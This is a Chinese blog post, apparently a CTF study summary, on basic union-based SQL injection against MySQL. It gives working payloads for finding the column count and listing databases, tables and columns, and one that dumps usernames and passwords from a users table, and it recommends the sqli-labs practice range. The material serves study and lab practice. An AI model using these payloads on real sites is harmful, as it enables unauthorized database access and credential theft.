CTF刷题总结(1)------简单的SQL注入

第一次写分享类的文章,有错误的地方还请大家多多指正哈!此篇文章主要分享一些刷web题目中会遇到的一些知识点,之后还会继续分享一些关于这方面的知识。

简单的sql注入

预备知识

  • schema:可以代表数据库的组织和结构,其中schema和schemata的模式可以是表、列、数据类型、关系、主键等等。下面会通过例子来说明,大家可以自行体会。
  • information_schema: 是MySQL自带的信息数据库,用于存储数据库元数据(例如:数据库名、表名等等),可以认为他包含所有的库。但是information_schema中的表实际上是视图,而不是基本表。
  • union:联合查询,将多条查询语句的结果合并成一个结果 。
  • %23:在sql语句的后面可以添加%23或者#等一些注释符,把后面的语句注释掉,有些时候可以避免一些限制。
  • group_concat():将所有能查询到的数据全部列举出来
  • group_concat(concat_ws(’:’,1,2)):用’:'分隔输出所有的数据,比如说1:2.

注入前判断

  • 判断是否有注入
  • 判断注入类型
  • 语句是否能被修改
  • 是否能被执行
  • 获取我们想要的数据
如何判断
  • 可控参数的改变能否影响页面显示结果
  • 输入的sql语句是否报错,通过报错查看sql语句痕迹

注入顺序及操作

  • 获取信息的顺序:数据库 > 表 > 字段 > 值

1.在进行注入操作前,你需要知道当前查询的字段数,只有在字段数相同时,sql语句才能查询成功,故需要猜解字段。下面将介绍俩种获取字段数的方法:

url + union select 1,2,3,4 %23/#

  • 上面的这条语句是通过联合查询获取字段数,1234即各代表一个字段,只有在字段数相同的时候才能查询成功。同时会回显出注入点(即在屏幕中显示出来的数字。)

url + order by 数字 %23/#

  • 这条语句是通过二分法来判断字段数,当数字为正确的字段数时,不会报错。

2.通过爆字段数并获取注入点之后即可开始查询了

url + union select 1,database(),version() from information_schema.schemata %23

  • 此条语句是在字段数为3且注入点在2和3的位置的情况下的,用于获取当前的数据库名以及版本号。

url + union select 1,group_concat(table_name),3 from information_schema.tables where table_schema=database() %23

  • 查询当前数据库下的所有表

url + union select 1,group_concat(column_name),3 from information_schema.columns where table_schema=database() and table_name=‘users’ %23

  • 此条语句是在得知当前的表名为users时查询所有的字段

url + union select 1,group_concat(concat_ws(’:’,username,password)),3 from users %23

  • 通过以上查询到的字段名查询所有的用户名和密码。

总结

一般sql注入的都不会这么简单,我也只是列举了一些基础的知识点。其中sql注入还包括整形注入、字符注入、布尔盲注、时间注入等等,有时还会有一些检测机制,这时候就需要随机应变了,在这里我推荐一个靶场,可以专门用于刷sql注入的题目-sqli labs。这个靶场需要部署在sql+php+Apache的集成软件上,有兴趣的小伙伴可以部署一下去练练手!

  • 1
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 1
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值